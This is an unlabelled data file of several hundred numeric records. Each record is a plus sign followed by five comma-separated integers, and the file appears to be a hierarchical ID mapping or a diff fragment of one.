+11260,9323,9475,10363,11260 +11261,9323,9475,10363,11261 +11262,9323,9475,10363,11262 +11263,9323,9475,10363,11263 +11264,9323,9475,10363,11264 +11265,9323,9475,10363,11265 +11266,9323,9475,10363,11266 +11267,9323,9475,10363,11267 +11268,9323,9475,10363,11268 +11269,9323,9475,10363,11269 +11270,9323,9476,10371,11270 +11271,9323,9476,10371,11271 +11272,9323,9476,10371,11272 +11273,9323,9476,10371,11273 +11274,9323,9476,10371,11274 +11275,9323,9476,10371,11275 +11276,9323,9476,10371,11276 +11277,9323,9476,10371,11277 +11278,9323,9476,10371,11278 +11279,9323,9476,10371,11279 +11280,9323,9476,10371,11280 +11281,9323,9476,10371,11281 +11282,9323,9476,10372,11282 +11283,9323,9476,10372,11283 +11284,9323,9476,10372,11284 +11285,9323,9476,10372,11285 +11286,9323,9476,10372,11286 +11287,9323,9476,10372,11287 +11288,9323,9476,10372,11288 +11289,9323,9477,10376,11289 +11290,9323,9477,10376,11290 +11291,9323,9477,10376,11291 +11292,9323,9477,10376,11292 +11293,9323,9477,10376,11293 +11294,9323,9477,10376,11294 +11295,9323,9477,10377,11295 +11296,9323,9477,10377,11296 +11297,9323,9477,10377,11297 +11298,9323,9477,10377,11298 +11299,9323,9477,10377,11299 +11300,9323,9477,10378,11300 +11301,9323,9477,10378,11301 +11302,9323,9477,10378,11302 +11303,9323,9477,10378,11303 +11305,9323,9477,10378,11305 +11306,9323,9477,10378,11306 +11307,9323,9477,10378,11307 +11308,9323,9477,10379,11308 +11309,9323,9477,10379,11309 +11310,9323,9477,10379,11310 +11311,9323,9477,10379,11311 +11312,9323,9477,10379,11312 +11313,9323,9477,10380,11313 +11314,9323,9477,10380,11314 +20447,9323,9477,10380,20447 +11315,9323,9477,10381,11315 +11316,9323,9477,10381,11316 +11317,9323,9477,10381,11317 +11318,9323,9477,10381,11318 +11319,9323,9477,10381,11319 +11320,9323,9477,10381,11320 +20134,9323,9477,10381,20134 +11321,9323,9477,10382,11321 +11322,9323,9477,10382,11322 +11323,9323,9477,10382,11323 +11324,9323,9477,10382,11324 +11325,9323,9477,10382,11325 +11326,9323,9477,10382,11326 +11327,9323,9477,10383,11327 +11328,9323,9477,10383,11328 +11329,9323,9477,10383,11329 +11330,9323,9477,10383,11330 +11331,9323,9477,10384,11331 +11332,9323,9477,10384,11332 +11333,9323,9477,10384,11333 +11334,9323,9477,10384,11334 +11335,9323,9480,10407,11335 +11336,9323,9480,10407,11336 +11337,9323,9480,10407,11337 +11338,9323,9480,10407,11338 +11339,9323,9480,10407,11339 +11340,9323,9480,10409,11340 +11341,9323,9480,10409,11341 +11342,9323,9480,10413,11342 +11343,9323,9480,10413,11343 +11344,9323,9480,10413,11344 +11345,9323,9480,10413,11345 +11346,9323,9480,10415,11346 +11347,9323,9480,10415,11347 +11348,9323,9480,10415,11348 +11349,9323,9480,10415,11349 +11350,9323,9480,10415,11350 +11351,9323,9480,10415,11351 +11352,9323,9480,10415,11352 +11353,9323,9480,10416,11353 +11354,9323,9480,10416,11354 +11355,9323,9480,10416,11355 +11356,9323,9480,10416,11356 +11357,9323,9480,10416,11357 +11358,9323,9480,10416,11358 +11359,9323,9481,10417,11359 +11360,9323,9481,10417,11360 +11361,9323,9481,10417,11361 +11362,9323,9481,10417,11362 +11363,9323,9481,10417,11363 +11364,9323,9481,10417,11364 +11365,9323,9481,10417,11365 +11366,9323,9481,10417,11366 +11367,9323,9481,10417,11367 +11368,9323,9481,10417,11368 +11369,9323,9481,10417,11369 +11370,9323,9481,10417,11370 +11371,9323,9481,10417,11371 +11372,9323,9481,10417,11372 +11373,9323,9481,10417,11373 +11374,9323,9481,10417,11374 +11375,9323,9481,10418,11375 +11376,9323,9481,10418,11376 +11377,9323,9481,10418,11377 +11378,9323,9481,10418,11378 +11379,9323,9481,10418,11379 +11380,9323,9481,10418,11380 +11381,9323,9481,10418,11381 +11382,9323,9481,10418,11382 +11383,9323,9481,10418,11383 +11384,9323,9481,10418,11384 +11385,9323,9481,10418,11385 +11386,9323,9481,10418,11386 +11387,9323,9481,10418,11387 +11388,9323,9481,10418,11388 +11389,9323,9481,10418,11389 +11390,9323,9481,10418,11390 +11391,9323,9481,10418,11391 +11392,9323,9481,10418,11392 +11393,9323,9481,10418,11393 +11394,9323,9481,10418,11394 +11395,9323,9481,10418,11395 +11396,9323,9481,10418,11396 +11397,9323,9481,10419,11397 +11398,9323,9481,10419,11398 +11399,9323,9481,10419,11399 +11400,9323,9481,10419,11400 +11401,9323,9481,10419,11401 +11402,9323,9481,10419,11402 +11403,9323,9481,10419,11403 +11404,9323,9481,10419,11404 +11405,9323,9481,10420,11405 +11406,9323,9481,10420,11406 +11407,9323,9481,10420,11407 +11408,9323,9481,10420,11408 +11409,9323,9481,10420,11409 +11410,9323,9481,10420,11410 +11411,9323,9481,10420,11411 +11412,9323,9481,10420,11412 +11413,9323,9481,10420,11413 +11414,9323,9481,10420,11414 +11415,9323,9481,10420,11415 +11416,9323,9481,10420,11416 +11417,9323,9481,10421,11417 +11418,9323,9481,10421,11418 +11419,9323,9481,10421,11419 +11420,9323,9481,10421,11420 +11421,9323,9481,10421,11421 +11422,9323,9481,10421,11422 +11423,9323,9481,10421,11423 +11424,9323,9481,10421,11424 +11425,9323,9481,10421,11425 +11426,9323,9481,10421,11426 +11427,9323,9481,10421,11427 +11428,9323,9481,10421,11428 +11429,9323,9481,10422,11429 +11430,9323,9481,10422,11430 +11431,9323,9481,10422,11431 +11432,9323,9481,10422,11432 +11433,9323,9481,10422,11433 +11434,9323,9481,10422,11434 +11435,9323,9481,10422,11435 +11436,9323,9481,10422,11436 +11437,9323,9481,10422,11437 +11438,9323,9481,10422,11438 +11439,9323,9481,10422,11439 +11440,9323,9481,10422,11440 +11441,9323,9481,10422,11441 +11442,9323,9481,10422,11442 +11443,9323,9481,10422,11443 +11444,9323,9481,10422,11444 +11445,9323,9481,10423,11445 +11446,9323,9481,10423,11446 +11447,9323,9481,10423,11447 +11448,9323,9481,10423,11448 +11449,9323,9481,10423,11449 +11450,9323,9481,10423,11450 +11451,9323,9481,10423,11451 +11452,9323,9481,10423,11452 +11453,9323,9481,10424,11453 +11454,9323,9481,10424,11454 +11455,9323,9481,10424,11455 +11456,9323,9481,10424,11456 +11457,9323,9481,10424,11457 +11458,9323,9481,10425,11458 +11459,9323,9481,10425,11459 +11460,9323,9481,10425,11460 +11461,9323,9481,10425,11461 +11462,9323,9481,10425,11462 +11464,9323,9481,10426,11464 +11465,9323,9481,10426,11465 +11466,9323,9481,10427,11466 +11467,9323,9481,10427,11467 +11468,9323,9481,10427,11468 +11469,9323,9481,10427,11469 +11470,9323,9481,10427,11470 +11471,9323,9481,10427,11471 +11472,9323,9481,10427,11472 +11473,9323,9481,10427,11473 +11474,9323,9481,10427,11474 +11475,9323,9481,10427,11475 +11476,9323,9481,10427,11476 +11477,9323,9481,10427,11477 +11478,9323,9481,10427,11478 +11479,9323,9481,10427,11479 +11480,9323,9481,10427,11480 +11481,9323,9481,10427,11481 +11482,9323,9481,10427,11482 +11483,9323,9481,10428,11483 +11484,9323,9481,10428,11484 +11485,9323,9481,10428,11485 +11486,9323,9481,10428,11486 +11487,9323,9481,10428,11487 +11488,9323,9481,10428,11488 +11489,9323,9481,10428,11489 +11490,9323,9481,10428,11490 +11491,9323,9481,10429,11491 +11492,9323,9481,10429,11492 +11493,9323,9481,10429,11493 +11494,9323,9481,10429,11494 +11495,9323,9481,10429,11495 +11496,9323,9481,10429,11496 +11497,9323,9481,10429,11497 +11498,9323,9481,10429,11498 +11499,9323,9481,10429,11499 +11500,9323,9481,10429,11500 +11501,9323,9481,10429,11501 +11502,9323,9481,10429,11502 +11503,9323,9481,10429,11503 +11504,9323,9481,10429,11504 +11505,9323,9481,10429,11505 +11506,9323,9481,10429,11506 +11507,9323,9481,10429,11507 +11508,9323,9481,10429,11508 +11509,9323,9481,10429,11509 +11510,9323,9481,10429,11510 +11511,9323,9481,10429,11511 +11512,9323,9481,10429,11512 +11513,9323,9481,10429,11513 +11514,9323,9481,10429,11514 +11515,9323,9481,10429,11515 +11516,9323,9481,10429,11516 +11517,9323,9481,10430,11517 +11518,9323,9481,10430,11518 +11519,9323,9481,10430,11519 +11520,9323,9481,10430,11520 +11521,9323,9481,10430,11521 +11522,9323,9481,10430,11522 +11523,9323,9481,10430,11523 +11524,9323,9481,10431,11524 +11525,9323,9481,10431,11525 +11526,9323,9481,10431,11526 +11527,9323,9481,10431,11527 +11528,9323,9481,10431,11528 +11529,9323,9481,10431,11529 +11530,9323,9481,10431,11530 +11531,9323,9481,10431,11531 +11532,9323,9481,10431,11532 +11533,9323,9481,10432,11533 +11534,9323,9481,10432,11534 +11535,9323,9481,10432,11535 +11536,9323,9481,10432,11536 +11537,9323,9481,10432,11537 +11538,9323,9481,10432,11538 +11539,9323,9481,10433,11539 +11540,9323,9481,10433,11540 +11541,9323,9481,10433,11541 +11542,9323,9481,10433,11542 +11543,9323,9481,10433,11543 +11544,9323,9481,10433,11544 +11545,9323,9481,10433,11545 +11546,9323,9481,10433,11546 +11547,9323,9481,10433,11547 +11548,9323,9481,10433,11548 +19574,9323,9481,10433,19574 +11549,9323,9481,10434,11549 +11550,9323,9481,10434,11550 +11551,9323,9481,10434,11551 +11552,9323,9481,10434,11552 +11553,9323,9481,10434,11553 +11554,9323,9481,10434,11554 +11555,9323,9481,10434,11555 +11556,9323,9481,10434,11556 +11557,9323,9481,10436,11557 +11558,9323,9481,10436,11558 +11559,9323,9481,10436,11559 +11560,9323,9481,10436,11560 +11561,9323,9481,10436,11561 +11562,9323,9481,10436,11562 +11563,9323,9481,10436,11563 +11564,9323,9481,10436,11564 +11565,9323,9481,10436,11565 +11566,9323,9481,10436,11566 +11567,9323,9481,10436,11567 +11568,9323,9481,10436,11568 +11569,9323,9481,10436,11569 +11570,9323,9481,10437,11570 +11571,9323,9481,10437,11571 +11572,9323,9481,10437,11572 +11573,9323,9481,10437,11573 +11574,9323,9481,10437,11574 +11575,9323,9481,10437,11575 +11576,9323,9481,10437,11576 +11577,9323,9481,10437,11577 +19575,9323,9481,10437,19575 +11578,9323,9481,10438,11578 +11579,9323,9481,10438,11579 +11580,9323,9481,10438,11580 +11581,9323,9482,10439,11581 +11582,9323,9482,10439,11582 +11583,9323,9482,10439,11583 +11584,9323,9482,10439,11584 +11585,9323,9482,10439,11585 +11586,9323,9482,10439,11586 +19576,9323,9482,10439,19576 +20304,9323,9482,10439,20304 +20305,9323,9482,10439,20305 +20306,9323,9482,10439,20306 +11587,9323,9482,10440,11587 +11588,9323,9482,10440,11588 +11589,9323,9482,10440,11589 +11590,9323,9482,10440,11590 +11591,9323,9482,10440,11591 +11592,9323,9482,10440,11592 +11593,9323,9482,10440,11593 +11594,9323,9482,10440,11594 +11595,9323,9482,10440,11595 +11596,9323,9482,10440,11596 +11597,9323,9482,10440,11597 +11598,9324,9484,10478,11598 +11599,9324,9484,10478,11599 +11600,9324,9484,10478,11600 +11601,9324,9484,10478,11601 +11602,9324,9484,10478,11602 +11603,9324,9484,10478,11603 +11604,9324,9484,10478,11604 +11605,9324,9484,10478,11605 +11606,9324,9484,10478,11606 +11607,9324,9484,10478,11607 +11608,9324,9484,10480,11608 +11609,9324,9484,10480,11609 +11610,9324,9484,10480,11610 +11611,9324,9484,10480,11611 +11612,9324,9484,10480,11612 +11613,9324,9484,10482,11613 +11614,9324,9484,10482,11614 +11615,9324,9484,10482,11615 +11616,9324,9484,10484,11616 +11617,9324,9484,10484,11617 +11618,9324,9484,10484,11618 +11619,9324,9484,10485,11619 +11620,9324,9484,10485,11620 +11621,9324,9484,10485,11621 +11622,9324,9484,10485,11622 +11623,9324,9484,10485,11623 +11624,9324,9484,10485,11624 +11625,9324,9484,10485,11625 +11626,9324,9486,10503,11626 +11627,9324,9486,10503,11627 +11628,9324,9486,10503,11628 +11629,9324,9486,10503,11629 +11630,9324,9489,10534,11630 +11631,9324,9489,10534,11631 +11632,9324,9489,10534,11632 +11633,9324,9489,10534,11633 +11634,9324,9489,10534,11634 +11635,9324,9489,10534,11635 +11636,9324,9489,10534,11636 +11637,9324,9489,10534,11637 +11638,9324,9489,10534,11638 +11639,9324,9489,10534,11639 +11640,9324,9489,10534,11640 +11641,9324,9489,10534,11641 +11642,9324,9489,10534,11642 +11643,9324,9489,10534,11643 +11644,9324,9489,10542,11644 +11645,9324,9489,10542,11645 +11649,9324,9490,10549,11649 +11650,9324,9490,10549,11650 +11651,9324,9490,10550,11651 +11652,9324,9490,10550,11652 +11653,9324,9490,10552,11653 +11654,9324,9490,10552,11654 +18757,9324,9490,18756,18757 +18758,9324,9490,18756,18758 +18759,9324,9490,18756,18759 +11655,9324,9496,10595,11655 +11656,9324,9496,10595,11656 +11657,9324,9496,10595,11657 +11658,9324,9496,10595,11658 +11659,9324,9500,10620,11659 +11660,9324,9500,10620,11660 +11661,9324,9500,10620,11661 +11662,9324,9500,10620,11662 +11663,9324,9500,10620,11663 +11664,9324,9500,10620,11664 +11665,9324,9500,10620,11665 +11666,9324,9500,10620,11666 +11669,9324,9500,10621,11669 +11670,9324,9500,10621,11670 +11671,9324,9500,10621,11671 +11672,9324,9500,10621,11672 +11673,9324,9500,10621,11673 +11674,9324,9500,10621,11674 +11675,9324,9500,10621,11675 +11676,9324,9500,10621,11676 +11677,9324,9500,10621,11677 +11678,9324,9500,10621,11678 +11679,9324,9500,10622,11679 +11680,9324,9500,10622,11680 +11681,9324,9500,10622,11681 +11682,9324,9500,10622,11682 +12600,11684,11694,11931,12600 +12601,11684,11694,11931,12601 +12602,11684,11695,11946,12602 +12603,11684,11695,11946,12603 +12604,11684,11695,11946,12604 +12605,11684,11695,11946,12605 +12606,11684,11698,11967,12606 +12607,11684,11698,11967,12607 +12608,11684,11698,11967,12608 +12609,11684,11699,11971,12609 +12610,11684,11699,11971,12610 +12611,11684,11699,11971,12611 +12612,11684,11699,11972,12612 +12613,11684,11699,11972,12613 +12614,11684,11699,11972,12614 +12615,11684,11699,11974,12615 +12616,11684,11699,11974,12616 +12617,11684,11699,11974,12617 +12618,11684,11699,11974,12618 +12620,11684,11699,11975,12620 +12621,11684,11699,11975,12621 +12622,11684,11699,11975,12622 +12623,11684,11699,11976,12623 +12624,11684,11699,11976,12624 +12625,11684,11699,11976,12625 +12626,11684,11699,11979,12626 +12627,11684,11699,11979,12627 +12628,11684,11699,11979,12628 +12629,11684,11699,11980,12629 +12630,11684,11699,11980,12630 +12631,11684,11699,11980,12631 +12632,11684,11699,11980,12632 +12633,11684,11699,11980,12633 +12634,11684,11699,11982,12634 +12635,11684,11699,11982,12635 +12636,11684,11699,11982,12636 +12637,11684,11699,11984,12637 +12638,11684,11699,11984,12638 +12639,11684,11699,11984,12639 +12640,11684,11702,12003,12640 +12641,11684,11702,12003,12641 +12642,11684,11702,12003,12642 +12643,11684,11702,12003,12643 +12644,11684,11702,12003,12644 +12645,11684,11702,12003,12645 +12646,11684,11702,12003,12646 +12647,11684,11703,12011,12647 +12648,11684,11703,12011,12648 +12649,11684,11703,12011,12649 +12650,11684,11703,12011,12650 +12651,11684,11703,12011,12651 +12652,11684,11703,12011,12652 +12653,11684,11703,12011,12653 +12654,11684,11703,12011,12654 +12655,11684,11703,12012,12655 +12656,11684,11703,12012,12656 +12657,11684,11703,12012,12657 +12658,11684,11703,12012,12658 +12659,11684,11703,12012,12659 +12660,11684,11703,12012,12660 +12661,11684,11703,12012,12661 +12662,11684,11703,12012,12662 +12663,11684,11703,12012,12663 +12664,11684,11703,12012,12664 +12665,11684,11703,12012,12665 +12666,11684,11703,12013,12666 +12667,11684,11703,12013,12667 +12668,11684,11703,12013,12668 +12669,11684,11703,12013,12669 +12670,11684,11703,12013,12670 +12671,11684,11703,12013,12671 +12672,11684,11703,12013,12672 +12673,11684,11703,12013,12673 +12674,11684,11703,12013,12674 +12675,11684,11703,12013,12675 +12676,11684,11703,12013,12676 +12677,11684,11703,12013,12677 +12678,11684,11703,12013,12678 +12679,11684,11703,12013,12679 +12680,11684,11704,12014,12680 +12681,11684,11704,12014,12681 +12682,11684,11704,12016,12682 +12683,11684,11704,12016,12683 +12684,11684,11704,12016,12684 +12685,11684,11704,12016,12685 +12686,11684,11704,12020,12686 +12687,11684,11704,12020,12687 +12688,11684,11704,12020,12688 +12689,11684,11704,12020,12689 +12690,11684,11704,12020,12690 +12691,11684,11704,12020,12691 +12692,11684,11704,12020,12692 +12693,11684,11704,12020,12693 +12694,11684,11704,12020,12694 +12695,11684,11704,12021,12695 +12696,11684,11704,12021,12696 +12697,11684,11704,12021,12697 +12698,11684,11705,12028,12698 +12699,11684,11705,12028,12699 +12700,11684,11705,12028,12700 +12701,11684,11705,12029,12701 +12702,11684,11705,12029,12702 +12703,11684,11705,12029,12703 +12704,11684,11709,12045,12704 +12705,11684,11709,12045,12705 +12706,11684,11709,12045,12706 +12707,11684,11709,12048,12707 +12708,11684,11709,12048,12708 +12709,11684,11709,12048,12709 +12710,11684,11709,12051,12710 +12711,11684,11709,12051,12711 +12712,11684,11709,12051,12712 +12713,11684,11709,12051,12713 +12714,11684,11710,12057,12714 +12715,11684,11710,12057,12715 +12716,11684,11710,12057,12716 +12717,11684,11710,12057,12717 +12718,11684,11710,12063,12718 +12719,11684,11710,12063,12719 +12720,11684,11711,12070,12720 +12721,11684,11711,12070,12721 +12722,11684,11711,12070,12722 +12723,11684,11711,12070,12723 +12724,11684,11711,12070,12724 +12725,11684,11711,12070,12725 +12726,11684,11711,12070,12726 +12727,11684,11712,12072,12727 +12728,11684,11712,12072,12728 +12729,11684,11712,12072,12729 +12730,11684,11712,12072,12730 +12731,11684,11712,12072,12731 +12732,11684,11712,12072,12732 +12733,11684,11712,12072,12733 +12734,11684,11712,12072,12734 +12735,11684,11712,12072,12735 +12736,11684,11712,12072,12736 +12737,11684,11712,12072,12737 +12738,11684,11712,12072,12738 +12739,11684,11712,12072,12739 +12740,11684,11712,12072,12740 +12741,11684,11712,12072,12741 +12742,11684,11712,12073,12742 +12743,11684,11712,12073,12743 +12744,11684,11712,12073,12744 +12745,11684,11712,12073,12745 +12746,11684,11712,12073,12746 +12747,11684,11712,12073,12747 +12748,11684,11712,12073,12748 +12749,11684,11712,12073,12749 +12750,11684,11712,12073,12750 +12751,11684,11712,12073,12751 +12752,11684,11712,12073,12752 +12753,11684,11712,12073,12753 +12754,11684,11712,12073,12754 +12755,11684,11712,12073,12755 +12756,11684,11712,12073,12756 +12757,11684,11712,12073,12757 +12758,11684,11712,12073,12758 +12759,11684,11712,12073,12759 +12760,11684,11712,12073,12760 +12761,11684,11712,12073,12761 +12762,11684,11712,12074,12762 +12763,11684,11712,12075,12763 +12764,11684,11712,12075,12764 +12765,11684,11712,12075,12765 +12766,11684,11712,12075,12766 +12767,11684,11712,12075,12767 +12768,11684,11712,12075,12768 +12769,11684,11712,12077,12769 +12770,11684,11712,12077,12770 +12771,11684,11712,12077,12771 +12772,11684,11712,12077,12772 +12773,11684,11712,12077,12773 +12774,11684,11712,12077,12774 +12775,11684,11712,12077,12775 +12776,11684,11712,12077,12776 +12777,11684,11712,12077,12777 +12778,11684,11712,12077,12778 +12779,11684,11712,12077,12779 +12780,11684,11712,12077,12780 +12781,11684,11712,12077,12781 +12782,11684,11712,12077,12782 +12783,11684,11712,12077,12783 +12784,11684,11712,12077,12784 +12785,11684,11712,12077,12785 +12786,11684,11712,12077,12786 +12787,11684,11712,12077,12787 +12788,11684,11712,12078,12788 +12789,11684,11712,12078,12789 +12790,11684,11712,12078,12790 +12791,11684,11712,12078,12791 +12792,11684,11712,12078,12792 +12793,11684,11712,12078,12793 +12794,11685,11717,12105,12794 +12795,11685,11717,12105,12795 +12796,11685,11717,12105,12796 +12797,11685,11717,12105,12797 +12798,11685,11717,12105,12798 +12799,11685,11717,12105,12799 +12800,11685,11717,12105,12800 +12801,11685,11717,12105,12801 +12802,11685,11717,12105,12802 +12803,11685,11717,12105,12803 +12804,11685,11717,12105,12804 +12805,11685,11719,12126,12805 +12806,11685,11719,12126,12806 +12807,11685,11719,12126,12807 +12808,11685,11719,12126,12808 +12809,11685,11719,12126,12809 +12810,11685,11719,12126,12810 +12814,11685,11719,12130,12814 +12815,11685,11719,12130,12815 +12816,11685,11719,12130,12816 +18765,11685,11719,18762,18765 +18766,11685,11719,18762,18766 +18767,11685,11719,18762,18767 +12817,11685,11721,12145,12817 +12818,11685,11721,12145,12818 +12819,11685,11721,12145,12819 +12820,11685,11721,12145,12820 +12821,11685,11721,12146,12821 +12822,11685,11721,12146,12822 +12823,11685,11721,12146,12823 +12824,11685,11721,12146,12824 +12825,11685,11721,12146,12825 +12826,11685,11721,12146,12826 +12827,11685,11721,12146,12827 +12828,11685,11721,12146,12828 +12829,11685,11721,12146,12829 +12830,11685,11721,12146,12830 +12831,11685,11722,12149,12831 +12832,11685,11722,12149,12832 +12833,11685,11722,12149,12833 +12834,11685,11722,12149,12834 +12835,11685,11722,12149,12835 +12836,11685,11722,12149,12836 +12837,11685,11722,12149,12837 +12838,11685,11722,12149,12838 +13163,11685,11722,12149,13163 +12839,11685,11722,12154,12839 +12840,11685,11722,12154,12840 +12841,11685,11722,12154,12841 +12842,11685,11722,12154,12842 +12843,11685,11722,12154,12843 +12844,11685,11722,12154,12844 +12845,11685,11722,12154,12845 +12846,11685,11722,12154,12846 +12847,11685,11722,12154,12847 +12848,11685,11722,12155,12848 +12849,11685,11722,12155,12849 +12850,11685,11722,12155,12850 +12851,11685,11722,12155,12851 +12852,11685,11722,12155,12852 +12853,11685,11722,12155,12853 +12854,11685,11722,12155,12854 +12855,11685,11722,12155,12855 +12856,11685,11722,12155,12856 +12857,11685,11724,12161,12857 +12858,11685,11724,12161,12858 +12859,11685,11724,12161,12859 +12860,11685,11724,12161,12860 +12861,11685,11724,12167,12861 +12862,11685,11724,12167,12862 +12863,11685,11724,12167,12863 +12864,11685,11724,12168,12864 +12865,11685,11724,12168,12865 +12866,11685,11724,12168,12866 +12867,11685,11724,12168,12867 +12868,11685,11724,12168,12868 +12869,11685,11725,12173,12869 +12870,11685,11725,12173,12870 +12871,11685,11725,12173,12871 +12872,11685,11725,12173,12872 +12873,11685,11725,12173,12873 +12874,11685,11725,12173,12874 +12875,11685,11726,12194,12875 +12876,11685,11726,12194,12876 +12877,11685,11726,12194,12877 +12878,11685,11726,12194,12878 +12879,11685,11726,12194,12879 +12880,11685,11726,12194,12880 +12881,11685,11726,12194,12881 +12882,11685,11726,12194,12882 +12883,11685,11726,12194,12883 +12884,11685,11726,12194,12884 +12885,11685,11726,12194,12885 +12886,11685,11726,12194,12886 +12887,11685,11726,12194,12887 +12888,11685,11726,12194,12888 +12889,11685,11726,12194,12889 +12890,11685,11726,12194,12890 +12891,11685,11727,12212,12891 +12892,11685,11727,12212,12892 +12894,11685,11727,12212,12894 +12895,11685,11727,12212,12895 +12896,11685,11727,12212,12896 +12897,11685,11727,12212,12897 +20097,11685,11727,12212,20097 +12898,11685,11728,12223,12898 +12899,11685,11728,12223,12899 +12900,11685,11728,12223,12900 +12901,11685,11728,12223,12901 +12902,11685,11728,12223,12902 +12903,11685,11728,12226,12903 +12904,11685,11728,12226,12904 +12905,11685,11728,12226,12905 +12906,11685,11728,12226,12906 +12907,11685,11728,12226,12907 +12908,11685,11728,12226,12908 +12909,11685,11728,12226,12909 +12910,11685,11728,12226,12910 +12911,11685,11728,12226,12911 +12912,11685,11728,12226,12912 +12913,11685,11728,12226,12913 +12914,11685,11728,12226,12914 +12915,11685,11728,12226,12915 +12916,11685,11728,12226,12916 +12917,11685,11728,12226,12917 +12918,11685,11728,12226,12918 +12919,11685,11728,12226,12919 +12920,11685,11728,12227,12920 +12921,11685,11728,12227,12921 +12922,11685,11728,12227,12922 +12923,11685,11728,12227,12923 +12924,11685,11728,12227,12924 +12925,11685,11728,12230,12925 +12926,11685,11728,12230,12926 +12927,11685,11728,12230,12927 +12928,11685,11728,12230,12928 +12929,11685,11728,12230,12929 +12930,11685,11728,12230,12930 +12931,11685,11728,12230,12931 +12932,11685,11728,12230,12932 +12933,11685,11728,12230,12933 +12934,11685,11728,12230,12934 +12935,11685,11728,12230,12935 +12936,11685,11728,12230,12936 +12937,11685,11730,12253,12937 +12938,11685,11730,12253,12938 +12939,11685,11730,12253,12939 +12940,11685,11731,12268,12940 +12941,11685,11731,12268,12941 +12942,11685,11731,12268,12942 +12943,11685,11731,12268,12943 +12944,11685,11731,12268,12944 +12945,11685,11732,12276,12945 +12946,11685,11732,12276,12946 +12947,11685,11732,12276,12947 +12948,11685,11732,12276,12948 +12949,11685,11732,12278,12949 +12950,11685,11732,12278,12950 +12951,11685,11732,12278,12951 +12952,11685,11732,12278,12952 +12953,11685,11732,12278,12953 +12954,11685,11732,12278,12954 +12955,11685,11732,12279,12955 +12956,11685,11732,12279,12956 +12957,11685,11732,12279,12957 +12958,11685,11732,12279,12958 +12959,11685,11732,12279,12959 +12960,11685,11732,12279,12960 +12961,11685,11732,12279,12961 +12962,11685,11732,12279,12962 +12963,11685,11732,12279,12963 +12964,11685,11732,12279,12964 +12965,11685,11732,12280,12965 +12966,11685,11732,12280,12966 +12967,11685,11732,12280,12967 +12968,11685,11732,12280,12968 +12969,11685,11732,12282,12969 +12970,11685,11732,12282,12970 +12971,11685,11732,12282,12971 +12972,11685,11732,12282,12972 +12973,11685,11732,12282,12973 +12974,11685,11732,12284,12974 +12975,11685,11732,12284,12975 +12976,11685,11732,12284,12976 +12977,11685,11732,12284,12977 +12978,11685,11732,12284,12978 +12979,11685,11732,12284,12979 +12980,11685,11732,12284,12980 +12981,11685,11732,12284,12981 +12982,11685,11732,12285,12982 +12983,11685,11732,12285,12983 +12984,11685,11732,12285,12984 +12985,11685,11732,12285,12985 +12986,11685,11732,12285,12986 +12987,11685,11732,12285,12987 +12988,11685,11732,12285,12988 +12989,11685,11732,12285,12989 +12990,11685,11733,12287,12990 +12991,11685,11733,12287,12991 +12992,11685,11733,12287,12992 +12993,11685,11733,12287,12993 +12994,11685,11733,12287,12994 +12995,11685,11733,12297,12995 +12996,11685,11733,12297,12996 +12997,11685,11733,12297,12997 +12998,11685,11733,12297,12998 +12999,11685,11733,12297,12999 +13000,11685,11733,12297,13000 +13001,11685,11733,12297,13001 +13002,11685,11733,12297,13002 +13003,11685,11733,12297,13003 +13004,11685,11733,12297,13004 +13005,11685,11733,12297,13005 +13006,11685,11735,12316,13006 +13007,11685,11735,12316,13007 +13008,11685,11735,12316,13008 +13009,11685,11735,12316,13009 +13010,11685,11735,12316,13010 +13011,11685,11735,12316,13011 +13012,11685,11735,12316,13012 +13013,11685,11736,12318,13013 +13014,11685,11736,12318,13014 +13015,11685,11736,12318,13015 +13016,11685,11736,12318,13016 +13017,11685,11736,12318,13017 +13018,11685,11736,12319,13018 +13019,11685,11736,12319,13019 +13020,11685,11736,12319,13020 +13021,11685,11736,12320,13021 +13022,11685,11736,12320,13022 +13023,11685,11736,12320,13023 +13024,11685,11736,12321,13024 +13025,11685,11736,12321,13025 +13026,11685,11736,12321,13026 +13027,11685,11736,12322,13027 +13028,11685,11736,12322,13028 +13029,11685,11736,12323,13029 +13030,11685,11736,12323,13030 +13031,11685,11736,12323,13031 +13032,11685,11736,12323,13032 +13033,11685,11736,12323,13033 +13034,11685,11736,12323,13034 +13035,11685,11736,12324,13035 +13036,11685,11736,12324,13036 +13037,11685,11736,12324,13037 +13041,11685,11736,12325,13041 +13042,11685,11736,12325,13042 +13043,11685,11736,12325,13043 +13044,11685,11736,12325,13044 +13045,11685,11736,12325,13045 +13046,11685,11736,12325,13046 +13047,11685,11736,12325,13047 +13048,11685,11736,12326,13048 +13049,11685,11736,12326,13049 +13050,11685,11736,12326,13050 +13051,11685,11736,12326,13051 +13052,11685,11736,12326,13052 +13053,11685,11736,12327,13053 +13054,11685,11736,12327,13054 +13055,11685,11736,12327,13055 +13065,11685,11736,12330,13065 +13066,11685,11736,12330,13066 +13067,11685,11736,12330,13067 +13068,11685,11736,12330,13068 +13069,11685,11736,12330,13069 +13070,11685,11736,12331,13070 +13071,11685,11736,12331,13071 +13072,11685,11736,12331,13072 +13073,11685,11736,12331,13073 +13074,11685,11736,12331,13074 +13076,11685,11736,12332,13076 +13077,11685,11736,12332,13077 +13078,11685,11736,12332,13078 +13079,11685,11736,12333,13079 +13080,11685,11736,12333,13080 +13081,11685,11736,12333,13081 +13082,11685,11736,12333,13082 +13083,11685,11736,12334,13083 +13084,11685,11736,12334,13084 +13085,11685,11736,12334,13085 +13086,11685,11736,12335,13086 +13087,11685,11736,12335,13087 +13088,11685,11736,12336,13088 +13089,11685,11736,12336,13089 +13090,11685,11736,12336,13090 +13091,11685,11736,12337,13091 +13092,11685,11736,12337,13092 +13093,11685,11736,12337,13093 +13038,11685,11736,12619,13038 +13039,11685,11736,12619,13039 +13040,11685,11736,12619,13040 +14687,11685,11736,14685,14687 +14688,11685,11736,14685,14688 +14689,11685,11736,14685,14689 +14690,11685,11736,14686,14690 +14691,11685,11736,14686,14691 +14692,11685,11736,14686,14692 +14693,11685,11736,14686,14693 +14694,11685,11736,14686,14694 +14695,11685,11736,14686,14695 +13094,11685,11738,12363,13094 +13095,11685,11738,12363,13095 +13096,11685,11738,12363,13096 +13097,11685,11738,12363,13097 +13098,11685,11738,12363,13098 +13099,11685,11738,12363,13099 +13100,11685,11738,12363,13100 +13101,11685,11738,12363,13101 +13102,11685,11738,12363,13102 +13103,11685,11738,12363,13103 +13104,11685,11738,12363,13104 +13105,11685,11738,12363,13105 +13106,11685,11738,12363,13106 +13107,11685,11738,12363,13107 +13108,11685,11738,12363,13108 +13109,11685,11738,12363,13109 +13110,11685,11738,12363,13110 